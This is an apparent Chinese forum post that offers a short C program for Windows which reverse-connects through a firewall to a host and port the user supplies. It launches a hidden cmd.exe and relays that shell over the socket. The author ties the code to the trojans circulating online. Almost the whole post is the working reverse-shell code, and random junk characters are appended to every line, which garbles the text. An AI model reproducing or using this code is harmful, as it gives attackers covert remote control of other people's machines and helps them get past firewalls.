Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Q
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/* ============================== 8(De^H lO  
Rebound port in Windows NT df=f62  
By wind,2006/7 ~~.}ah/_d  
===============================*/ ta0|^KAA  
#include _GPe<H  
#include <%^&2UMg  
*i,%,O96Nz  
#pragma comment(lib,"wsock32.lib") xLE)/}y_7H  
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void OutputShell(); 7^Uv7<pw  
SOCKET sClient; SJLis"8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "tZe>>I  
m'U0'}Ld};  
void main(int argc,char **argv) N+|d3X!  
{ m~|40)   
WSADATA stWsaData; 0J|3kY-n>  
int nRet; <v2;p}A  
SOCKADDR_IN stSaiClient,stSaiServer; Q59su
L   
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if(argc != 3) +3gp%`c4  
{ =wJX0A|  
printf("Useage:\n\rRebound DestIP DestPort\n"); K"6vXv4QO  
return; iscz}E,Y  
} `V1]k_h  
sA~]$A;DM!  
WSAStartup(MAKEWORD(2,2),&stWsaData); mq l Z?-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Iv *<La  
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stSaiClient.sin_family = AF_INET; B~mj 8l4  
stSaiClient.sin_port = htons(0); :s,Z<^5a)g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~u{uZ(~
  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zA 3_Lx!  
{ kM6 Qp  
printf("Bind Socket Failed!\n"); NbobliC=  
return; |)&%A%m  
} GyIV Hby  
#cJ@uqR  
stSaiServer.sin_family = AF_INET; 7$b1<.WX  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H\ %7%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6863xOv{T  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h8P)%p  
{ M}a6Vu9  
printf("Connect Error!"); 3]>| i  
return; 0sqFF[i  
} >z03{=sAN  
OutputShell(); ^~dWU>  
} ]d]]'Hk  
dM5-;  
void OutputShell() Q8NX)R  
{ e(sk[guvX  
char szBuff[1024]; bOB\--:]  
SECURITY_ATTRIBUTES stSecurityAttributes; }EPY^VIw  
OSVERSIONINFO stOsversionInfo; [GR;?R5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a[C@  
STARTUPINFO stStartupInfo; KXy6Eno  
char *szShell; $`c:&  
PROCESS_INFORMATION stProcessInformation; j.Hf/vi`z  
unsigned long lBytesRead; +0&/g&a\R  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2T35{Q!=F  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); . vV|hSc  
stSecurityAttributes.lpSecurityDescriptor = 0; |=w@H]r  
stSecurityAttributes.bInheritHandle = TRUE; f 2.HF@  
q'DW~!>qX  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Wri<h:1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bsX[UF
  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  DrR@n~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WY/}1X9.%  
stStartupInfo.wShowWindow = SW_HIDE; $X6h|?3U,  
stStartupInfo.hStdInput = hReadPipe; }pYqWTG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >
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GetVersionEx(&stOsversionInfo); WLT"ji0w2  
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switch(stOsversionInfo.dwPlatformId) *p U x8yB  
{ | (93gJ  
case 1: vQCy\Gi  
szShell = "command.com"; }j%5t ~Qa  
break; \85i+q:LuA  
default: gJXaPJA{  
szShell = "cmd.exe"; }OUtsh]y  
break; AKC`TA*E  
} tA;}h7/Lc~  
8=l%5r^cq  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kj_c%T ]/  
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send(sClient,szMsg,77,0); XTyxr  
while(1) t# i#(H  
{ b;n[mk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J zl6eo[;  
if(lBytesRead) ,F|f. 7;  
{ p2eGm-Erq  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }tz7b#  
send(sClient,szBuff,lBytesRead,0); h0$iOE  
} pP_LR ks}  
else O-^Ma-}  
{ CTb%(<r  
lBytesRead=recv(sClient,szBuff,1024,0); )8AXm  
if(lBytesRead<=0) break; KoT\pY^7\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f#;>g  
} @dKTx#gZ  
} >7|VR:U?B  
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return; *w&e\i|7  
}